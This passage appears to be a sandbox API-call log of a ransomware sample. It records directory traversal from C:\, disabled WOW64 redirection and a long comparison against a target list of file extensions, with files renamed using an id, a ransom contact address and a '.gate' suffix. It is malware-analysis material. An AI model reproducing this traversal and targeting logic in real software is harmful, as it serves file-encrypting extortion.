hHeap=0x6e0000) returned 1 [0319.453] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b440 [0319.453] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b440, Size=0x20) returned 0x7ddc28 [0319.453] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b4a0 [0319.453] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b4a0, Size=0x20) returned 0x7ddb88 [0319.453] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0319.453] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0319.453] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff50 | out: OldValue=0x34fff50*=0x1) returned 1 [0319.453] lstrlenW (lpString="kernel32.dll") returned 12 [0319.454] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddb88 | out: hHeap=0x6e0000) returned 1 [0319.454] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0319.454] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddc28 | out: hHeap=0x6e0000) returned 1 Thread: id = 55 os_tid = 0xec4 [0272.251] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3ec0938 [0272.252] lstrlenW (lpString="C:") returned 2 [0272.252] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x363fcf8 | out: lpFindFileData=0x363fcf8) returned 0x77d028 [0272.252] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0272.252] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0272.252] lstrlenW (lpString="$GetCurrent") returned 11 [0272.252] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0272.252] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3ed0940 [0272.253] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0272.253] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0x77d1e8 [0272.264] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.264] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.264] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0272.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0272.264] lstrlenW (lpString="Logs") returned 4 [0272.264] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0272.264] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f22c40 [0272.265] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0272.265] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d228 [0272.275] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.275] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.275] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[lockhelp@qq.com].gate") returned 72 [0272.275] lstrlenW (lpString=".1cd") returned 4 [0272.275] lstrcmpiW (lpString1=".1cd", lpString2="gate") returned -1 [0272.275] lstrlenW (lpString=".3ds") returned 4 [0272.275] lstrcmpiW (lpString1=".3ds", lpString2="gate") returned -1 [0272.275] lstrlenW (lpString=".3fr") returned 4 [0272.275] lstrcmpiW (lpString1=".3fr", lpString2="gate") returned -1 [0272.275] lstrlenW (lpString=".3g2") returned 4 [0272.275] lstrcmpiW (lpString1=".3g2", lpString2="gate") returned -1 [0272.275] lstrlenW (lpString=".3gp") returned 4 [0272.275] lstrcmpiW (lpString1=".3gp", lpString2="gate") returned -1 [0272.275] lstrlenW (lpString=".7z") returned 3 [0272.275] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0272.275] lstrlenW (lpString=".accda") returned 6 [0272.276] lstrcmpiW (lpString1=".accda", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".accdb") returned 6 [0272.276] lstrcmpiW (lpString1=".accdb", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".accdc") returned 6 [0272.276] lstrcmpiW (lpString1=".accdc", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".accde") returned 6 [0272.276] lstrcmpiW (lpString1=".accde", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".accdt") returned 6 [0272.276] lstrcmpiW (lpString1=".accdt", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".accdw") returned 6 [0272.276] lstrcmpiW (lpString1=".accdw", lpString2="].gate") returned -1 [0272.276] lstrlenW (lpString=".adb") returned 4 [0272.276] lstrcmpiW (lpString1=".adb", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".adp") returned 4 [0272.276] lstrcmpiW (lpString1=".adp", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai") returned 3 [0272.276] lstrcmpiW (lpString1=".ai", lpString2="ate") returned -1 [0272.276] lstrlenW (lpString=".ai3") returned 4 [0272.276] lstrcmpiW (lpString1=".ai3", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai4") returned 4 [0272.276] lstrcmpiW (lpString1=".ai4", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai5") returned 4 [0272.276] lstrcmpiW (lpString1=".ai5", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai6") returned 4 [0272.276] lstrcmpiW (lpString1=".ai6", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai7") returned 4 [0272.276] lstrcmpiW (lpString1=".ai7", lpString2="gate") returned -1 [0272.276] lstrlenW (lpString=".ai8") returned 4 [0272.277] lstrcmpiW (lpString1=".ai8", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".anim") returned 5 [0272.277] lstrcmpiW (lpString1=".anim", lpString2=".gate") returned -1 [0272.277] lstrlenW (lpString=".arw") returned 4 [0272.277] lstrcmpiW (lpString1=".arw", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".as") returned 3 [0272.277] lstrcmpiW (lpString1=".as", lpString2="ate") returned -1 [0272.277] lstrlenW (lpString=".asa") returned 4 [0272.277] lstrcmpiW (lpString1=".asa", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".asc") returned 4 [0272.277] lstrcmpiW (lpString1=".asc", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".ascx") returned 5 [0272.277] lstrcmpiW (lpString1=".ascx", lpString2=".gate") returned -1 [0272.277] lstrlenW (lpString=".asm") returned 4 [0272.277] lstrcmpiW (lpString1=".asm", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".asmx") returned 5 [0272.277] lstrcmpiW (lpString1=".asmx", lpString2=".gate") returned -1 [0272.277] lstrlenW (lpString=".asp") returned 4 [0272.277] lstrcmpiW (lpString1=".asp", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".aspx") returned 5 [0272.277] lstrcmpiW (lpString1=".aspx", lpString2=".gate") returned -1 [0272.277] lstrlenW (lpString=".asr") returned 4 [0272.277] lstrcmpiW (lpString1=".asr", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".asx") returned 4 [0272.277] lstrcmpiW (lpString1=".asx", lpString2="gate") returned -1 [0272.277] lstrlenW (lpString=".avi") returned 4 [0272.277] lstrcmpiW (lpString1=".avi", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".avs") returned 4 [0272.278] lstrcmpiW (lpString1=".avs", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".backup") returned 7 [0272.278] lstrcmpiW (lpString1=".backup", lpString2="m].gate") returned -1 [0272.278] lstrlenW (lpString=".bak") returned 4 [0272.278] lstrcmpiW (lpString1=".bak", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".bay") returned 4 [0272.278] lstrcmpiW (lpString1=".bay", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".bd") returned 3 [0272.278] lstrcmpiW (lpString1=".bd", lpString2="ate") returned -1 [0272.278] lstrlenW (lpString=".bin") returned 4 [0272.278] lstrcmpiW (lpString1=".bin", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".bmp") returned 4 [0272.278] lstrcmpiW (lpString1=".bmp", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".bz2") returned 4 [0272.278] lstrcmpiW (lpString1=".bz2", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".c") returned 2 [0272.278] lstrcmpiW (lpString1=".c", lpString2="te") returned -1 [0272.278] lstrlenW (lpString=".cdr") returned 4 [0272.278] lstrcmpiW (lpString1=".cdr", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".cer") returned 4 [0272.278] lstrcmpiW (lpString1=".cer", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".cf") returned 3 [0272.278] lstrcmpiW (lpString1=".cf", lpString2="ate") returned -1 [0272.278] lstrlenW (lpString=".cfc") returned 4 [0272.278] lstrcmpiW (lpString1=".cfc", lpString2="gate") returned -1 [0272.278] lstrlenW (lpString=".cfm") returned 4 [0272.279] lstrcmpiW (lpString1=".cfm", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".cfml") returned 5 [0272.279] lstrcmpiW (lpString1=".cfml", lpString2=".gate") returned -1 [0272.279] lstrlenW (lpString=".cfu") returned 4 [0272.279] lstrcmpiW (lpString1=".cfu", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".chm") returned 4 [0272.279] lstrcmpiW (lpString1=".chm", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".cin") returned 4 [0272.279] lstrcmpiW (lpString1=".cin", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".class") returned 6 [0272.279] lstrcmpiW (lpString1=".class", lpString2="].gate") returned -1 [0272.279] lstrlenW (lpString=".clx") returned 4 [0272.279] lstrcmpiW (lpString1=".clx", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".config") returned 7 [0272.279] lstrcmpiW (lpString1=".config", lpString2="m].gate") returned -1 [0272.279] lstrlenW (lpString=".cpp") returned 4 [0272.279] lstrcmpiW (lpString1=".cpp", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".cr2") returned 4 [0272.279] lstrcmpiW (lpString1=".cr2", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".crt") returned 4 [0272.279] lstrcmpiW (lpString1=".crt", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".crw") returned 4 [0272.279] lstrcmpiW (lpString1=".crw", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".cs") returned 3 [0272.279] lstrcmpiW (lpString1=".cs", lpString2="ate") returned -1 [0272.279] lstrlenW (lpString=".css") returned 4 [0272.279] lstrcmpiW (lpString1=".css", lpString2="gate") returned -1 [0272.279] lstrlenW (lpString=".csv") returned 4 [0272.279] lstrcmpiW (lpString1=".csv", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".cub") returned 4 [0272.280] lstrcmpiW (lpString1=".cub", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dae") returned 4 [0272.280] lstrcmpiW (lpString1=".dae", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dat") returned 4 [0272.280] lstrcmpiW (lpString1=".dat", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".db") returned 3 [0272.280] lstrcmpiW (lpString1=".db", lpString2="ate") returned -1 [0272.280] lstrlenW (lpString=".dbf") returned 4 [0272.280] lstrcmpiW (lpString1=".dbf", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dbx") returned 4 [0272.280] lstrcmpiW (lpString1=".dbx", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dc3") returned 4 [0272.280] lstrcmpiW (lpString1=".dc3", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dcm") returned 4 [0272.280] lstrcmpiW (lpString1=".dcm", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dcr") returned 4 [0272.280] lstrcmpiW (lpString1=".dcr", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".der") returned 4 [0272.280] lstrcmpiW (lpString1=".der", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dib") returned 4 [0272.280] lstrcmpiW (lpString1=".dib", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dic") returned 4 [0272.280] lstrcmpiW (lpString1=".dic", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".dif") returned 4 [0272.280] lstrcmpiW (lpString1=".dif", lpString2="gate") returned -1 [0272.280] lstrlenW (lpString=".divx") returned 5 [0272.280] lstrcmpiW (lpString1=".divx", lpString2=".gate") returned -1 [0272.280] lstrlenW (lpString=".djvu") returned 5 [0272.281] lstrcmpiW (lpString1=".djvu", lpString2=".gate") returned -1 [0272.281] lstrlenW (lpString=".dng") returned 4 [0272.281] lstrcmpiW (lpString1=".dng", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".doc") returned 4 [0272.281] lstrcmpiW (lpString1=".doc", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".docm") returned 5 [0272.281] lstrcmpiW (lpString1=".docm", lpString2=".gate") returned -1 [0272.281] lstrlenW (lpString=".docx") returned 5 [0272.281] lstrcmpiW (lpString1=".docx", lpString2=".gate") returned -1 [0272.281] lstrlenW (lpString=".dot") returned 4 [0272.281] lstrcmpiW (lpString1=".dot", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dotm") returned 5 [0272.281] lstrcmpiW (lpString1=".dotm", lpString2=".gate") returned -1 [0272.281] lstrlenW (lpString=".dotx") returned 5 [0272.281] lstrcmpiW (lpString1=".dotx", lpString2=".gate") returned -1 [0272.281] lstrlenW (lpString=".dpx") returned 4 [0272.281] lstrcmpiW (lpString1=".dpx", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dqy") returned 4 [0272.281] lstrcmpiW (lpString1=".dqy", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dsn") returned 4 [0272.281] lstrcmpiW (lpString1=".dsn", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dt") returned 3 [0272.281] lstrcmpiW (lpString1=".dt", lpString2="ate") returned -1 [0272.281] lstrlenW (lpString=".dtd") returned 4 [0272.281] lstrcmpiW (lpString1=".dtd", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dwg") returned 4 [0272.281] lstrcmpiW (lpString1=".dwg", lpString2="gate") returned -1 [0272.281] lstrlenW (lpString=".dwt") returned 4 [0272.282] lstrcmpiW (lpString1=".dwt", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".dx") returned 3 [0272.282] lstrcmpiW (lpString1=".dx", lpString2="ate") returned -1 [0272.282] lstrlenW (lpString=".dxf") returned 4 [0272.282] lstrcmpiW (lpString1=".dxf", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".edml") returned 5 [0272.282] lstrcmpiW (lpString1=".edml", lpString2=".gate") returned -1 [0272.282] lstrlenW (lpString=".efd") returned 4 [0272.282] lstrcmpiW (lpString1=".efd", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".elf") returned 4 [0272.282] lstrcmpiW (lpString1=".elf", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".emf") returned 4 [0272.282] lstrcmpiW (lpString1=".emf", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".emz") returned 4 [0272.282] lstrcmpiW (lpString1=".emz", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".epf") returned 4 [0272.282] lstrcmpiW (lpString1=".epf", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".eps") returned 4 [0272.282] lstrcmpiW (lpString1=".eps", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".epsf") returned 5 [0272.282] lstrcmpiW (lpString1=".epsf", lpString2=".gate") returned -1 [0272.282] lstrlenW (lpString=".epsp") returned 5 [0272.282] lstrcmpiW (lpString1=".epsp", lpString2=".gate") returned -1 [0272.282] lstrlenW (lpString=".erf") returned 4 [0272.282] lstrcmpiW (lpString1=".erf", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".exr") returned 4 [0272.282] lstrcmpiW (lpString1=".exr", lpString2="gate") returned -1 [0272.282] lstrlenW (lpString=".f4v") returned 4 [0272.282] lstrcmpiW (lpString1=".f4v", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".fido") returned 5 [0272.283] lstrcmpiW (lpString1=".fido", lpString2=".gate") returned -1 [0272.283] lstrlenW (lpString=".flm") returned 4 [0272.283] lstrcmpiW (lpString1=".flm", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".flv") returned 4 [0272.283] lstrcmpiW (lpString1=".flv", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".frm") returned 4 [0272.283] lstrcmpiW (lpString1=".frm", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".fxg") returned 4 [0272.283] lstrcmpiW (lpString1=".fxg", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".geo") returned 4 [0272.283] lstrcmpiW (lpString1=".geo", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".gif") returned 4 [0272.283] lstrcmpiW (lpString1=".gif", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".grs") returned 4 [0272.283] lstrcmpiW (lpString1=".grs", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".gz") returned 3 [0272.283] lstrcmpiW (lpString1=".gz", lpString2="ate") returned -1 [0272.283] lstrlenW (lpString=".h") returned 2 [0272.283] lstrcmpiW (lpString1=".h", lpString2="te") returned -1 [0272.283] lstrlenW (lpString=".hdr") returned 4 [0272.283] lstrcmpiW (lpString1=".hdr", lpString2="gate") returned -1 [0272.283] lstrlenW (lpString=".hpp") returned 4 [0272.284] lstrcmpiW (lpString1=".hpp", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".hta") returned 4 [0272.284] lstrcmpiW (lpString1=".hta", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".htc") returned 4 [0272.284] lstrcmpiW (lpString1=".htc", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".htm") returned 4 [0272.284] lstrcmpiW (lpString1=".htm", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".html") returned 5 [0272.284] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0272.284] lstrlenW (lpString=".icb") returned 4 [0272.284] lstrcmpiW (lpString1=".icb", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".ics") returned 4 [0272.284] lstrcmpiW (lpString1=".ics", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".iff") returned 4 [0272.284] lstrcmpiW (lpString1=".iff", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".inc") returned 4 [0272.284] lstrcmpiW (lpString1=".inc", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".indd") returned 5 [0272.284] lstrcmpiW (lpString1=".indd", lpString2=".gate") returned 1 [0272.284] lstrlenW (lpString=".ini") returned 4 [0272.284] lstrcmpiW (lpString1=".ini", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".iqy") returned 4 [0272.284] lstrcmpiW (lpString1=".iqy", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".j2c") returned 4 [0272.284] lstrcmpiW (lpString1=".j2c", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".j2k") returned 4 [0272.284] lstrcmpiW (lpString1=".j2k", lpString2="gate") returned -1 [0272.284] lstrlenW (lpString=".java") returned 5 [0272.284] lstrcmpiW (lpString1=".java", lpString2=".gate") returned 1 [0272.285] lstrlenW (lpString=".jp2") returned 4 [0272.285] lstrcmpiW (lpString1=".jp2", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".jpc") returned 4 [0272.285] lstrcmpiW (lpString1=".jpc", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".jpe") returned 4 [0272.285] lstrcmpiW (lpString1=".jpe", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".jpeg") returned 5 [0272.285] lstrcmpiW (lpString1=".jpeg", lpString2=".gate") returned 1 [0272.285] lstrlenW (lpString=".jpf") returned 4 [0272.285] lstrcmpiW (lpString1=".jpf", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".jpg") returned 4 [0272.285] lstrcmpiW (lpString1=".jpg", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".jpx") returned 4 [0272.285] lstrcmpiW (lpString1=".jpx", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".js") returned 3 [0272.285] lstrcmpiW (lpString1=".js", lpString2="ate") returned -1 [0272.285] lstrlenW (lpString=".jsf") returned 4 [0272.285] lstrcmpiW (lpString1=".jsf", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".json") returned 5 [0272.285] lstrcmpiW (lpString1=".json", lpString2=".gate") returned 1 [0272.285] lstrlenW (lpString=".jsp") returned 4 [0272.285] lstrcmpiW (lpString1=".jsp", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".kdc") returned 4 [0272.285] lstrcmpiW (lpString1=".kdc", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".kmz") returned 4 [0272.285] lstrcmpiW (lpString1=".kmz", lpString2="gate") returned -1 [0272.285] lstrlenW (lpString=".kwm") returned 4 [0272.285] lstrcmpiW (lpString1=".kwm", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".lasso") returned 6 [0272.286] lstrcmpiW (lpString1=".lasso", lpString2="].gate") returned -1 [0272.286] lstrlenW (lpString=".lbi") returned 4 [0272.286] lstrcmpiW (lpString1=".lbi", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".lgf") returned 4 [0272.286] lstrcmpiW (lpString1=".lgf", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".lgp") returned 4 [0272.286] lstrcmpiW (lpString1=".lgp", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".log") returned 4 [0272.286] lstrcmpiW (lpString1=".log", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".m1v") returned 4 [0272.286] lstrcmpiW (lpString1=".m1v", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".m4a") returned 4 [0272.286] lstrcmpiW (lpString1=".m4a", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".m4v") returned 4 [0272.286] lstrcmpiW (lpString1=".m4v", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".max") returned 4 [0272.286] lstrcmpiW (lpString1=".max", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".md") returned 3 [0272.286] lstrcmpiW (lpString1=".md", lpString2="ate") returned -1 [0272.286] lstrlenW (lpString=".mda") returned 4 [0272.286] lstrcmpiW (lpString1=".mda", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".mdb") returned 4 [0272.286] lstrcmpiW (lpString1=".mdb", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".mde") returned 4 [0272.286] lstrcmpiW (lpString1=".mde", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".mdf") returned 4 [0272.286] lstrcmpiW (lpString1=".mdf", lpString2="gate") returned -1 [0272.286] lstrlenW (lpString=".mdw") returned 4 [0272.287] lstrcmpiW (lpString1=".mdw", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mef") returned 4 [0272.287] lstrcmpiW (lpString1=".mef", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mft") returned 4 [0272.287] lstrcmpiW (lpString1=".mft", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mfw") returned 4 [0272.287] lstrcmpiW (lpString1=".mfw", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mht") returned 4 [0272.287] lstrcmpiW (lpString1=".mht", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mhtml") returned 6 [0272.287] lstrcmpiW (lpString1=".mhtml", lpString2="].gate") returned -1 [0272.287] lstrlenW (lpString=".mka") returned 4 [0272.287] lstrcmpiW (lpString1=".mka", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mkidx") returned 6 [0272.287] lstrcmpiW (lpString1=".mkidx", lpString2="].gate") returned -1 [0272.287] lstrlenW (lpString=".mkv") returned 4 [0272.287] lstrcmpiW (lpString1=".mkv", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mos") returned 4 [0272.287] lstrcmpiW (lpString1=".mos", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mov") returned 4 [0272.287] lstrcmpiW (lpString1=".mov", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mp3") returned 4 [0272.287] lstrcmpiW (lpString1=".mp3", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mp4") returned 4 [0272.287] lstrcmpiW (lpString1=".mp4", lpString2="gate") returned -1 [0272.287] lstrlenW (lpString=".mpeg") returned 5 [0272.287] lstrcmpiW (lpString1=".mpeg", lpString2=".gate") returned 1 [0272.287] lstrlenW (lpString=".mpg") returned 4 [0272.288] lstrcmpiW (lpString1=".mpg", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".mpv") returned 4 [0272.288] lstrcmpiW (lpString1=".mpv", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".mrw") returned 4 [0272.288] lstrcmpiW (lpString1=".mrw", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".msg") returned 4 [0272.288] lstrcmpiW (lpString1=".msg", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".mxl") returned 4 [0272.288] lstrcmpiW (lpString1=".mxl", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".myd") returned 4 [0272.288] lstrcmpiW (lpString1=".myd", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".myi") returned 4 [0272.288] lstrcmpiW (lpString1=".myi", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".nef") returned 4 [0272.288] lstrcmpiW (lpString1=".nef", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".nrw") returned 4 [0272.288] lstrcmpiW (lpString1=".nrw", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".obj") returned 4 [0272.288] lstrcmpiW (lpString1=".obj", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".odb") returned 4 [0272.288] lstrcmpiW (lpString1=".odb", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".odc") returned 4 [0272.288] lstrcmpiW (lpString1=".odc", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".odm") returned 4 [0272.288] lstrcmpiW (lpString1=".odm", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".odp") returned 4 [0272.288] lstrcmpiW (lpString1=".odp", lpString2="gate") returned -1 [0272.288] lstrlenW (lpString=".ods") returned 4 [0272.289] lstrcmpiW (lpString1=".ods", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".oft") returned 4 [0272.289] lstrcmpiW (lpString1=".oft", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".one") returned 4 [0272.289] lstrcmpiW (lpString1=".one", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".onepkg") returned 7 [0272.289] lstrcmpiW (lpString1=".onepkg", lpString2="m].gate") returned -1 [0272.289] lstrlenW (lpString=".onetoc2") returned 8 [0272.289] lstrcmpiW (lpString1=".onetoc2", lpString2="om].gate") returned -1 [0272.289] lstrlenW (lpString=".opt") returned 4 [0272.289] lstrcmpiW (lpString1=".opt", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".oqy") returned 4 [0272.289] lstrcmpiW (lpString1=".oqy", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".orf") returned 4 [0272.289] lstrcmpiW (lpString1=".orf", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".p12") returned 4 [0272.289] lstrcmpiW (lpString1=".p12", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".p7b") returned 4 [0272.289] lstrcmpiW (lpString1=".p7b", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".p7c") returned 4 [0272.289] lstrcmpiW (lpString1=".p7c", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".pam") returned 4 [0272.289] lstrcmpiW (lpString1=".pam", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".pbm") returned 4 [0272.289] lstrcmpiW (lpString1=".pbm", lpString2="gate") returned -1 [0272.289] lstrlenW (lpString=".pct") returned 4 [0272.289] lstrcmpiW (lpString1=".pct", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pcx") returned 4 [0272.290] lstrcmpiW (lpString1=".pcx", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pdd") returned 4 [0272.290] lstrcmpiW (lpString1=".pdd", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pdf") returned 4 [0272.290] lstrcmpiW (lpString1=".pdf", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pdp") returned 4 [0272.290] lstrcmpiW (lpString1=".pdp", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pef") returned 4 [0272.290] 